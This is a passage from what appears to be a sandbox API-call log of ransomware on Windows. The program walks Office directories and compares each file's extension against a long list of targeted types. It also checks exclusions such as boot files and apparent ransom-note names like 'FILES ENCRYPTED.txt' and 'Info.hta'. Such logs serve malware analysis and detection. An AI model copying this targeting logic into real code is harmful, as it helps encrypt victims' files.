nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="GrooveForms3", cAlternateFileName="GR96F1~1")) returned 1 [0251.477] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x0, Size=0xfffe) returned 0x4315750 [0251.478] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\*", lpFindFileData=0x37aeb9c | out: lpFindFileData=0x37aeb9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5127f1f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x706f8370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x706f8370, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x624580 [0251.493] FindNextFileW (in: hFindFile=0x624580, lpFindFileData=0x37aeb9c | out: lpFindFileData=0x37aeb9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5127f1f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x706f8370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x706f8370, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0251.496] FindNextFileW (in: hFindFile=0x624580, lpFindFileData=0x37aeb9c | out: lpFindFileData=0x37aeb9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8bfecf00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5eaf6290, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8bfecf00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x244, dwReserved0=0x0, dwReserved1=0x0, cFileName="ADD.GIF", cAlternateFileName="")) returned 1 [0251.899] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x0, Size=0xfffe) returned 0x43ce010 [0251.899] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\*", lpFindFileData=0x37ae920 | out: lpFindFileData=0x37ae920*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5127f1f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6245c0 [0253.702] FindNextFileW (in: hFindFile=0x6245c0, lpFindFileData=0x37ae920 | out: lpFindFileData=0x37ae920*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5127f1f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0253.704] FindNextFileW (in: hFindFile=0x6245c0, lpFindFileData=0x37ae920 | out: lpFindFileData=0x37ae920*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f925600, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5127f1f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8f925600, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x3a1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Adobe.css", cAlternateFileName="")) returned 1 [0253.704] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x0, Size=0xfffe) returned 0x43de018 [0253.706] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\Americana\\*", lpFindFileData=0x37ae6a4 | out: lpFindFileData=0x37ae6a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x528d0030, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x618a28b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x618a28b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x624640 [0254.486] FindNextFileW (in: hFindFile=0x624640, lpFindFileData=0x37ae6a4 | out: lpFindFileData=0x37ae6a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x528d0030, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x618a28b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x618a28b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0254.486] FindNextFileW (in: hFindFile=0x624640, lpFindFileData=0x37ae6a4 | out: lpFindFileData=0x37ae6a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f925600, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x528d0030, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8f925600, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x155, dwReserved0=0x0, dwReserved1=0x0, cFileName="TAB_OFF.GIF", cAlternateFileName="")) returned 1 [0255.780] FindNextFileW (in: hFindFile=0x624640, lpFindFileData=0x37ae6a4 | out: lpFindFileData=0x37ae6a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x528d0030, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x618a28b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x618a28b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0255.781] FindNextFileW (in: hFindFile=0x624640, lpFindFileData=0x37ae6a4 | out: lpFindFileData=0x37ae6a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f925600, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x528d0030, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8f925600, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xb9, dwReserved0=0x0, dwReserved1=0x0, cFileName="BUTTON.GIF", cAlternateFileName="")) returned 1 [0255.781] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0255.782] lstrlenW (lpString=".3ds") returned 4 [0255.782] lstrcmpiW (lpString1=".3ds", lpString2=".GIF") returned -1 [0255.782] lstrlenW (lpString=".3fr") returned 4 [0255.782] lstrcmpiW (lpString1=".3fr", lpString2=".GIF") returned -1 [0255.782] lstrlenW (lpString=".3g2") returned 4 [0255.782] lstrcmpiW (lpString1=".3g2", lpString2=".GIF") returned -1 [0255.782] lstrlenW (lpString=".3gp") returned 4 [0255.782] lstrcmpiW (lpString1=".3gp", lpString2=".GIF") returned -1 [0255.782] lstrlenW (lpString=".7z") returned 3 [0255.783] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0255.783] lstrlenW (lpString=".accda") returned 6 [0255.783] lstrcmpiW (lpString1=".accda", lpString2="ON.GIF") returned -1 [0255.783] lstrlenW (lpString=".accdb") returned 6 [0255.783] lstrcmpiW (lpString1=".accdb", lpString2="ON.GIF") returned -1 [0255.783] lstrlenW (lpString=".accdc") returned 6 [0255.783] lstrcmpiW (lpString1=".accdc", lpString2="ON.GIF") returned -1 [0255.783] lstrlenW (lpString=".accde") returned 6 [0255.783] lstrcmpiW (lpString1=".accde", lpString2="ON.GIF") returned -1 [0255.783] lstrlenW (lpString=".accdt") returned 6 [0255.783] lstrcmpiW (lpString1=".accdt", lpString2="ON.GIF") returned -1 [0255.783] lstrlenW (lpString=".accdw") returned 6 [0255.783] lstrcmpiW (lpString1=".accdw", lpString2="ON.GIF") returned -1 [0255.783] lstrlenW (lpString=".adb") returned 4 [0255.783] lstrcmpiW (lpString1=".adb", lpString2=".GIF") returned -1 [0255.784] lstrlenW (lpString=".adp") returned 4 [0255.784] lstrcmpiW (lpString1=".adp", lpString2=".GIF") returned -1 [0255.784] lstrlenW (lpString=".ai") returned 3 [0255.784] lstrcmpiW (lpString1=".ai", lpString2="GIF") returned -1 [0255.784] lstrlenW (lpString=".ai3") returned 4 [0255.784] lstrcmpiW (lpString1=".ai3", lpString2=".GIF") returned -1 [0255.784] lstrlenW (lpString=".ai4") returned 4 [0255.784] lstrcmpiW (lpString1=".ai4", lpString2=".GIF") returned -1 [0255.784] lstrlenW (lpString=".ai5") returned 4 [0255.784] lstrcmpiW (lpString1=".ai5", lpString2=".GIF") returned -1 [0255.784] lstrlenW (lpString=".ai6") returned 4 [0255.784] lstrcmpiW (lpString1=".ai6", lpString2=".GIF") returned -1 [0255.784] lstrlenW (lpString=".ai7") returned 4 [0255.784] lstrcmpiW (lpString1=".ai7", lpString2=".GIF") returned -1 [0255.784] lstrlenW (lpString=".ai8") returned 4 [0255.784] lstrcmpiW (lpString1=".ai8", lpString2=".GIF") returned -1 [0255.784] lstrlenW (lpString=".anim") returned 5 [0255.785] lstrcmpiW (lpString1=".anim", lpString2="N.GIF") returned -1 [0255.785] lstrlenW (lpString=".arw") returned 4 [0255.785] lstrcmpiW (lpString1=".arw", lpString2=".GIF") returned -1 [0255.785] lstrlenW (lpString=".as") returned 3 [0255.785] lstrcmpiW (lpString1=".as", lpString2="GIF") returned -1 [0255.785] lstrlenW (lpString=".asa") returned 4 [0255.785] lstrcmpiW (lpString1=".asa", lpString2=".GIF") returned -1 [0255.785] lstrlenW (lpString=".asc") returned 4 [0255.785] lstrcmpiW (lpString1=".asc", lpString2=".GIF") returned -1 [0255.785] lstrlenW (lpString=".ascx") returned 5 [0255.785] lstrcmpiW (lpString1=".ascx", lpString2="N.GIF") returned -1 [0255.785] lstrlenW (lpString=".asm") returned 4 [0255.785] lstrcmpiW (lpString1=".asm", lpString2=".GIF") returned -1 [0255.786] lstrlenW (lpString=".asmx") returned 5 [0255.786] lstrcmpiW (lpString1=".asmx", lpString2="N.GIF") returned -1 [0255.786] lstrlenW (lpString=".asp") returned 4 [0255.786] lstrcmpiW (lpString1=".asp", lpString2=".GIF") returned -1 [0255.786] lstrlenW (lpString=".aspx") returned 5 [0255.786] lstrcmpiW (lpString1=".aspx", lpString2="N.GIF") returned -1 [0255.786] lstrlenW (lpString=".asr") returned 4 [0255.786] lstrcmpiW (lpString1=".asr", lpString2=".GIF") returned -1 [0255.786] lstrlenW (lpString=".asx") returned 4 [0255.786] lstrcmpiW (lpString1=".asx", lpString2=".GIF") returned -1 [0255.786] lstrlenW (lpString=".avi") returned 4 [0255.786] lstrcmpiW (lpString1=".avi", lpString2=".GIF") returned -1 [0255.786] lstrlenW (lpString=".avs") returned 4 [0255.786] lstrcmpiW (lpString1=".avs", lpString2=".GIF") returned -1 [0255.786] lstrlenW (lpString=".backup") returned 7 [0255.787] lstrcmpiW (lpString1=".backup", lpString2="TON.GIF") returned -1 [0255.787] lstrlenW (lpString=".bak") returned 4 [0255.787] lstrcmpiW (lpString1=".bak", lpString2=".GIF") returned -1 [0255.787] lstrlenW (lpString=".bay") returned 4 [0255.787] lstrcmpiW (lpString1=".bay", lpString2=".GIF") returned -1 [0255.787] lstrlenW (lpString=".bd") returned 3 [0255.787] lstrcmpiW (lpString1=".bd", lpString2="GIF") returned -1 [0255.787] lstrlenW (lpString=".bin") returned 4 [0255.787] lstrcmpiW (lpString1=".bin", lpString2=".GIF") returned -1 [0255.787] lstrlenW (lpString=".bmp") returned 4 [0255.788] lstrcmpiW (lpString1=".bmp", lpString2=".GIF") returned -1 [0255.788] lstrlenW (lpString=".bz2") returned 4 [0255.788] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0255.788] lstrlenW (lpString=".c") returned 2 [0255.788] lstrcmpiW (lpString1=".c", lpString2="IF") returned -1 [0255.788] lstrlenW (lpString=".cdr") returned 4 [0255.788] lstrcmpiW (lpString1=".cdr", lpString2=".GIF") returned -1 [0255.788] lstrlenW (lpString=".cer") returned 4 [0255.788] lstrcmpiW (lpString1=".cer", lpString2=".GIF") returned -1 [0255.788] lstrlenW (lpString=".cf") returned 3 [0255.788] lstrcmpiW (lpString1=".cf", lpString2="GIF") returned -1 [0255.788] lstrlenW (lpString=".cfc") returned 4 [0255.788] lstrcmpiW (lpString1=".cfc", lpString2=".GIF") returned -1 [0255.788] lstrlenW (lpString=".cfm") returned 4 [0255.788] lstrcmpiW (lpString1=".cfm", lpString2=".GIF") returned -1 [0255.788] lstrlenW (lpString=".cfml") returned 5 [0255.789] lstrcmpiW (lpString1=".cfml", lpString2="N.GIF") returned -1 [0255.789] lstrlenW (lpString=".cfu") returned 4 [0255.789] lstrcmpiW (lpString1=".cfu", lpString2=".GIF") returned -1 [0255.789] lstrlenW (lpString=".chm") returned 4 [0255.789] lstrcmpiW (lpString1=".chm", lpString2=".GIF") returned -1 [0255.789] lstrlenW (lpString=".cin") returned 4 [0255.789] lstrcmpiW (lpString1=".cin", lpString2=".GIF") returned -1 [0255.789] lstrlenW (lpString=".class") returned 6 [0255.789] lstrcmpiW (lpString1=".class", lpString2="ON.GIF") returned -1 [0255.789] lstrlenW (lpString=".clx") returned 4 [0255.789] lstrcmpiW (lpString1=".clx", lpString2=".GIF") returned -1 [0255.789] lstrlenW (lpString=".config") returned 7 [0255.789] lstrcmpiW (lpString1=".config", lpString2="TON.GIF") returned -1 [0255.789] lstrlenW (lpString=".cpp") returned 4 [0255.790] lstrcmpiW (lpString1=".cpp", lpString2=".GIF") returned -1 [0255.790] lstrlenW (lpString=".cr2") returned 4 [0255.790] lstrcmpiW (lpString1=".cr2", lpString2=".GIF") returned -1 [0255.790] lstrlenW (lpString=".crt") returned 4 [0255.790] lstrcmpiW (lpString1=".crt", lpString2=".GIF") returned -1 [0255.790] lstrlenW (lpString=".crw") returned 4 [0255.790] lstrcmpiW (lpString1=".crw", lpString2=".GIF") returned -1 [0255.790] lstrlenW (lpString=".cs") returned 3 [0255.790] lstrcmpiW (lpString1=".cs", lpString2="GIF") returned -1 [0255.790] lstrlenW (lpString=".css") returned 4 [0255.790] lstrcmpiW (lpString1=".css", lpString2=".GIF") returned -1 [0255.790] lstrlenW (lpString=".csv") returned 4 [0255.790] lstrcmpiW (lpString1=".csv", lpString2=".GIF") returned -1 [0255.790] lstrlenW (lpString=".cub") returned 4 [0255.791] lstrcmpiW (lpString1=".cub", lpString2=".GIF") returned -1 [0255.791] lstrlenW (lpString=".dae") returned 4 [0255.791] lstrcmpiW (lpString1=".dae", lpString2=".GIF") returned -1 [0255.791] lstrlenW (lpString=".dat") returned 4 [0255.791] lstrcmpiW (lpString1=".dat", lpString2=".GIF") returned -1 [0255.791] lstrlenW (lpString=".db") returned 3 [0255.791] lstrcmpiW (lpString1=".db", lpString2="GIF") returned -1 [0255.791] lstrlenW (lpString=".dbf") returned 4 [0255.791] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0255.791] lstrlenW (lpString=".dbx") returned 4 [0255.791] lstrcmpiW (lpString1=".dbx", lpString2=".GIF") returned -1 [0255.791] lstrlenW (lpString=".dc3") returned 4 [0255.791] lstrcmpiW (lpString1=".dc3", lpString2=".GIF") returned -1 [0255.791] lstrlenW (lpString=".dcm") returned 4 [0255.791] lstrcmpiW (lpString1=".dcm", lpString2=".GIF") returned -1 [0255.791] lstrlenW (lpString=".dcr") returned 4 [0255.792] lstrcmpiW (lpString1=".dcr", lpString2=".GIF") returned -1 [0255.792] lstrlenW (lpString=".der") returned 4 [0255.792] lstrcmpiW (lpString1=".der", lpString2=".GIF") returned -1 [0255.792] lstrlenW (lpString=".dib") returned 4 [0255.792] lstrcmpiW (lpString1=".dib", lpString2=".GIF") returned -1 [0255.792] lstrlenW (lpString=".dic") returned 4 [0255.792] lstrcmpiW (lpString1=".dic", lpString2=".GIF") returned -1 [0255.792] lstrlenW (lpString=".dif") returned 4 [0255.792] lstrcmpiW (lpString1=".dif", lpString2=".GIF") returned -1 [0255.792] lstrlenW (lpString=".divx") returned 5 [0255.792] lstrcmpiW (lpString1=".divx", lpString2="N.GIF") returned -1 [0255.792] lstrlenW (lpString=".djvu") returned 5 [0255.792] lstrcmpiW (lpString1=".djvu", lpString2="N.GIF") returned -1 [0255.792] lstrlenW (lpString=".dng") returned 4 [0255.792] lstrcmpiW (lpString1=".dng", lpString2=".GIF") returned -1 [0255.793] lstrlenW (lpString=".doc") returned 4 [0255.793] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0255.793] lstrlenW (lpString=".docm") returned 5 [0255.793] lstrcmpiW (lpString1=".docm", lpString2="N.GIF") returned -1 [0255.793] lstrlenW (lpString=".docx") returned 5 [0255.793] lstrcmpiW (lpString1=".docx", lpString2="N.GIF") returned -1 [0255.793] lstrlenW (lpString=".dot") returned 4 [0255.793] lstrcmpiW (lpString1=".dot", lpString2=".GIF") returned -1 [0255.793] lstrlenW (lpString=".dotm") returned 5 [0255.793] lstrcmpiW (lpString1=".dotm", lpString2="N.GIF") returned -1 [0255.793] lstrlenW (lpString=".dotx") returned 5 [0255.793] lstrcmpiW (lpString1=".dotx", lpString2="N.GIF") returned -1 [0255.793] lstrlenW (lpString=".dpx") returned 4 [0255.793] lstrcmpiW (lpString1=".dpx", lpString2=".GIF") returned -1 [0255.794] lstrlenW (lpString=".dqy") returned 4 [0255.794] lstrcmpiW (lpString1=".dqy", lpString2=".GIF") returned -1 [0255.794] lstrlenW (lpString=".dsn") returned 4 [0255.794] lstrcmpiW (lpString1=".dsn", lpString2=".GIF") returned -1 [0255.794] lstrlenW (lpString=".dt") returned 3 [0255.794] lstrcmpiW (lpString1=".dt", lpString2="GIF") returned -1 [0255.794] lstrlenW (lpString=".dtd") returned 4 [0255.794] lstrcmpiW (lpString1=".dtd", lpString2=".GIF") returned -1 [0255.794] lstrlenW (lpString=".dwg") returned 4 [0255.794] lstrcmpiW (lpString1=".dwg", lpString2=".GIF") returned -1 [0255.794] lstrlenW (lpString=".dwt") returned 4 [0255.794] lstrcmpiW (lpString1=".dwt", lpString2=".GIF") returned -1 [0255.794] lstrlenW (lpString=".dx") returned 3 [0255.794] lstrcmpiW (lpString1=".dx", lpString2="GIF") returned -1 [0255.794] lstrlenW (lpString=".dxf") returned 4 [0255.794] lstrcmpiW (lpString1=".dxf", lpString2=".GIF") returned -1 [0255.795] lstrlenW (lpString=".edml") returned 5 [0255.795] lstrcmpiW (lpString1=".edml", lpString2="N.GIF") returned -1 [0255.795] lstrlenW (lpString=".efd") returned 4 [0255.795] lstrcmpiW (lpString1=".efd", lpString2=".GIF") returned -1 [0255.795] lstrlenW (lpString=".elf") returned 4 [0255.795] lstrcmpiW (lpString1=".elf", lpString2=".GIF") returned -1 [0255.795] lstrlenW (lpString=".emf") returned 4 [0255.795] lstrcmpiW (lpString1=".emf", lpString2=".GIF") returned -1 [0255.795] lstrlenW (lpString=".emz") returned 4 [0255.795] lstrcmpiW (lpString1=".emz", lpString2=".GIF") returned -1 [0255.795] lstrlenW (lpString=".epf") returned 4 [0255.795] lstrcmpiW (lpString1=".epf", lpString2=".GIF") returned -1 [0255.795] lstrlenW (lpString=".eps") returned 4 [0255.795] lstrcmpiW (lpString1=".eps", lpString2=".GIF") returned -1 [0255.795] lstrlenW (lpString=".epsf") returned 5 [0255.796] lstrcmpiW (lpString1=".epsf", lpString2="N.GIF") returned -1 [0255.796] lstrlenW (lpString=".epsp") returned 5 [0255.796] lstrcmpiW (lpString1=".epsp", lpString2="N.GIF") returned -1 [0255.796] lstrlenW (lpString=".erf") returned 4 [0255.796] lstrcmpiW (lpString1=".erf", lpString2=".GIF") returned -1 [0255.796] lstrlenW (lpString=".exr") returned 4 [0255.796] lstrcmpiW (lpString1=".exr", lpString2=".GIF") returned -1 [0255.796] lstrlenW (lpString=".f4v") returned 4 [0255.796] lstrcmpiW (lpString1=".f4v", lpString2=".GIF") returned -1 [0255.796] lstrlenW (lpString=".fido") returned 5 [0255.796] lstrcmpiW (lpString1=".fido", lpString2="N.GIF") returned -1 [0255.796] lstrlenW (lpString=".flm") returned 4 [0255.796] lstrcmpiW (lpString1=".flm", lpString2=".GIF") returned -1 [0255.796] lstrlenW (lpString=".flv") returned 4 [0255.796] lstrcmpiW (lpString1=".flv", lpString2=".GIF") returned -1 [0255.797] lstrlenW (lpString=".frm") returned 4 [0255.797] lstrcmpiW (lpString1=".frm", lpString2=".GIF") returned -1 [0255.797] lstrlenW (lpString=".fxg") returned 4 [0255.797] lstrcmpiW (lpString1=".fxg", lpString2=".GIF") returned -1 [0255.797] lstrlenW (lpString=".geo") returned 4 [0255.797] lstrcmpiW (lpString1=".geo", lpString2=".GIF") returned -1 [0255.797] lstrlenW (lpString=".gif") returned 4 [0255.797] lstrcmpiW (lpString1=".gif", lpString2=".GIF") returned 0 [0255.797] lstrlenW (lpString="BUTTON.GIF") returned 10 [0255.797] lstrlenW (lpString=".WHY") returned 4 [0255.797] lstrcmpiW (lpString1=".WHY", lpString2=".GIF") returned 1 [0255.797] lstrlenW (lpString="BUTTON.GIF") returned 10 [0255.797] lstrcmpiW (lpString1="boot.ini", lpString2="BUTTON.GIF") returned -1 [0255.797] lstrcmpiW (lpString1="bootfont.bin", lpString2="BUTTON.GIF") returned -1 [0255.798] lstrcmpiW (lpString1="ntldr", lpString2="BUTTON.GIF") returned 1 [0255.798] lstrcmpiW (lpString1="ntdetect.com", lpString2="BUTTON.GIF") returned 1 [0255.798] lstrcmpiW (lpString1="io.sys", lpString2="BUTTON.GIF") returned 1 [0255.798] lstrcmpiW (lpString1="FILES ENCRYPTED.txt", lpString2="BUTTON.GIF") returned 1 [0255.798] lstrcmpiW (lpString1="Info.hta", lpString2="BUTTON.GIF") returned 1 [0255.798] lstrcmpiW (lpString1="winhost.exe", lpString2="BUTTON.GIF") returned 1 [0255.798] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\BabyBlue\\BUTTON.GIF") returned 114 [0255.798] FindNextFileW (in: hFindFile=0x624640, lpFindFileData=0x37ae6a4 | out: lpFindFileData=0x37ae6a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f925600, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x618a28b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8f925600, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xff, dwReserved0=0x0, dwReserved1=0x0, cFileName="HEADER.GIF", cAlternateFileName="")) returned 1 [0255.798] lstrlenW (lpString="HEADER.GIF") returned 10 [0255.798] lstrlenW (lpString=".1cd") returned 4 [0255.798] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0255.798] lstrlenW (lpString=".3ds") returned 4 [0255.798] lstrcmpiW (lpString1=".3ds", lpString2=".GIF") returned -1 [0255.799] lstrlenW (lpString=".3fr") returned 4 [0255.799] lstrcmpiW (lpString1=".3fr", lpString2=".GIF") returned -1 [0255.799] lstrlenW (lpString=".3g2") returned 4 [0255.799] lstrcmpiW (lpString1=".3g2", lpString2=".GIF") returned -1 [0255.799] lstrlenW (lpString=".3gp") returned 4 [0255.799] lstrcmpiW (lpString1=".3gp", lpString2=".GIF") returned -1 [0255.799] lstrlenW (lpString=".7z") returned 3 [0255.799] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0255.799] lstrlenW (lpString=".accda") returned 6 [0255.799] lstrcmpiW (lpString1=".accda", lpString2="ER.GIF") returned -1 [0255.799] lstrlenW (lpString=".accdb") returned 6 [0255.799] lstrcmpiW (lpString1=".accdb", lpString2="ER.GIF") returned -1 [0255.799] lstrlenW (lpString=".accdc") returned 6 [0255.799] lstrcmpiW (lpString1=".accdc", lpString2="ER.GIF") returned -1 [0255.799] lstrlenW (lpString=".accde") returned 6 [0255.799] lstrcmpiW (lpString1=".accde", lpString2="ER.GIF") returned -1 [0255.800] lstrlenW (lpString=".accdt") returned 6 [0255.800] lstrcmpiW (lpString1=".accdt", lpString2="ER.GIF") returned -1 [0255.800] lstrlenW (lpString=".accdw") returned 6 [0255.800] lstrcmpiW (lpString1=".accdw", lpString2="ER.GIF") returned -1 [0255.800] lstrlenW (lpString=".adb") returned 4 [0255.800] lstrcmpiW (lpString1=".adb", lpString2=".GIF") returned -1 [0255.800] lstrlenW (lpString=".adp") returned 4 [0255.800] lstrcmpiW (lpString1=".adp", lpString2=".GIF") returned -1 [0255.800] lstrlenW (lpString=".ai") returned 3 [0255.800] lstrcmpiW (lpString1=".ai", lpString2="GIF") returned -1 [0255.800] lstrlenW (lpString=".ai3") returned 4 [0255.800] lstrcmpiW (lpString1=".ai3", lpString2=".GIF") returned -1 [0255.800] lstrlenW (lpString=".ai4") returned 4 [0255.800] lstrcmpiW (lpString1=".ai4", lpString2=".GIF") returned -1 [0255.800] lstrlenW (lpString=".ai5") returned 4 [0255.801] lstrcmpiW (lpString1=".ai5", lpString2=".GIF") returned -1 [0255.801] lstrlenW (lpString=".ai6") returned 4 [0255.801] lstrcmpiW (lpString1=".ai6", lpString2=".GIF") returned -1 [0255.801] lstrlenW (lpString=".ai7") returned 4 [0255.801] lstrcmpiW (lpString1=".ai7", lpString2=".GIF") returned -1 [0255.801] lstrlenW (lpString=".ai8") returned 4 [0255.801] lstrcmpiW (lpString1=".ai8", lpString2=".GIF") returned -1 [0255.801] lstrlenW (lpString=".anim") returned 5 [0255.801] lstrcmpiW (lpString1=".anim", lpString2="R.GIF") returned -1 [0255.801] lstrlenW (lpString=".arw") returned 4 [0255.801] lstrcmpiW (lpString1=".arw", lpString2=".GIF") returned -1 [0255.801] lstrlenW (lpString=".as") returned 3 [0255.801] lstrcmpiW (lpString1=".as", lpString2="GIF") returned -1 [0255.801] lstrlenW (lpString=".asa") returned 4 [0255.802] lstrcmpiW (lpString1=".asa", lpString2=".GIF") returned -1 [0255.802] lstrlenW (lpString=".asc") returned 4 [0255.802] lstrcmpiW (lpString1=".asc", lpString2=".GIF") returned -1 [0255.802] lstrlenW (lpString=".ascx") returned 5 [0255.802] lstrcmpiW (lpString1=".ascx", lpString2="R.GIF") returned -1 [0255.802] lstrlenW (lpString=".asm") returned 4 [0255.802] lstrcmpiW (lpString1=".asm", lpString2=".GIF") returned -1 [0255.802] lstrlenW (lpString=".asmx") returned 5 [0255.802] lstrcmpiW (lpString1=".asmx", lpString2="R.GIF") returned -1 [0255.802] lstrlenW (lpString=".asp") returned 4 [0255.802] lstrcmpiW (lpString1=".asp", lpString2=".GIF") returned -1 [0255.802] lstrlenW (lpString=".aspx") returned 5 [0255.802] lstrcmpiW (lpString1=".aspx", lpString2="R.GIF") returned -1 [0256.668] lstrlenW (lpString=".asr") returned 4 [0256.668] lstrcmpiW (lpString1=".asr", lpString2=".GIF") returned -1 [0256.668] lstrlenW (lpString=".asx") returned 4 [0256.669] lstrcmpiW (lpString1=".asx", lpString2=".GIF") returned -1 [0256.669] lstrlenW (lpString=".avi") returned 4 [0256.669] lstrcmpiW (lpString1=".avi", lpString2=".GIF") returned -1 [0256.669] lstrlenW (lpString=".avs") returned 4 [0256.669] lstrcmpiW (lpString1=".avs", lpString2=".GIF") returned -1 [0256.669] lstrlenW (lpString=".backup") returned 7 [0256.669] lstrcmpiW (lpString1=".backup", lpString2="DER.GIF") returned -1 [0256.669] lstrlenW (lpString=".bak") returned 4 [0256.669] lstrcmpiW (lpString1=".bak", lpString2=".GIF") returned -1 [0256.669] lstrlenW (lpString=".bay") returned 4 [0256.669] lstrcmpiW (lpString1=".bay", lpString2=".GIF") returned -1 [0256.669] lstrlenW (lpString=".bd") returned 3 [0256.669] lstrcmpiW (lpString1=".bd", lpString2="GIF") returned -1 [0256.670] lstrlenW (lpString=".bin") returned 4 [0256.670] lstrcmpiW (lpString1=".bin", lpString2=".GIF") returned -1 [0256.670] lstrlenW (lpString=".bmp") returned 4 [0256.670] lstrcmpiW (lpString1=".bmp", lpString2=".GIF") returned -1 [0256.670] lstrlenW (lpString=".bz2") returned 4 [0256.670] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0256.670] lstrlenW (lpString=".c") returned 2 [0256.670] lstrcmpiW (lpString1=".c", lpString2="IF") returned -1 [0256.670] lstrlenW 